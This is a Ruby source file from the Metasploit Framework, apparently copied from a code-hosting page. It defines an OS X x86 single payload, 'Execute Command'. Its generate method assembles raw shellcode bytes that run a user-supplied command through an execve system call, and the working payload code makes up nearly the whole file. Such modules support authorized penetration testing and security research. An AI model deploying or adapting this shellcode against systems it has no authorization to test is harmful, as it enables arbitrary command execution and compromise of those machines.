61 lines
1.2 KiB
Ruby
61 lines
1.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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###
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#
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# Exec
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# ----
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#
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# Executes an arbitrary command.
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#
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###
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module Metasploit3
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'OS X Execute Command',
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'Version' => '$Revision$',
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'Description' => 'Execute an arbitrary command',
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'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
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'License' => BSD_LICENSE,
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'Platform' => 'osx',
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'Arch' => ARCH_X86))
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# Register exec options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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#
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# Dynamically builds the exec payload based on the user's options.
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#
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def generate
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cmd = datastore['CMD'] || ''
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len = cmd.length + 1
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payload =
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"\x31\xc0\x50" +
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Rex::Arch::X86.call(len) + cmd +
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"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
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"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
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"\x50\x53\xb0\x3b\x50\xcd\x80"
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end
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end
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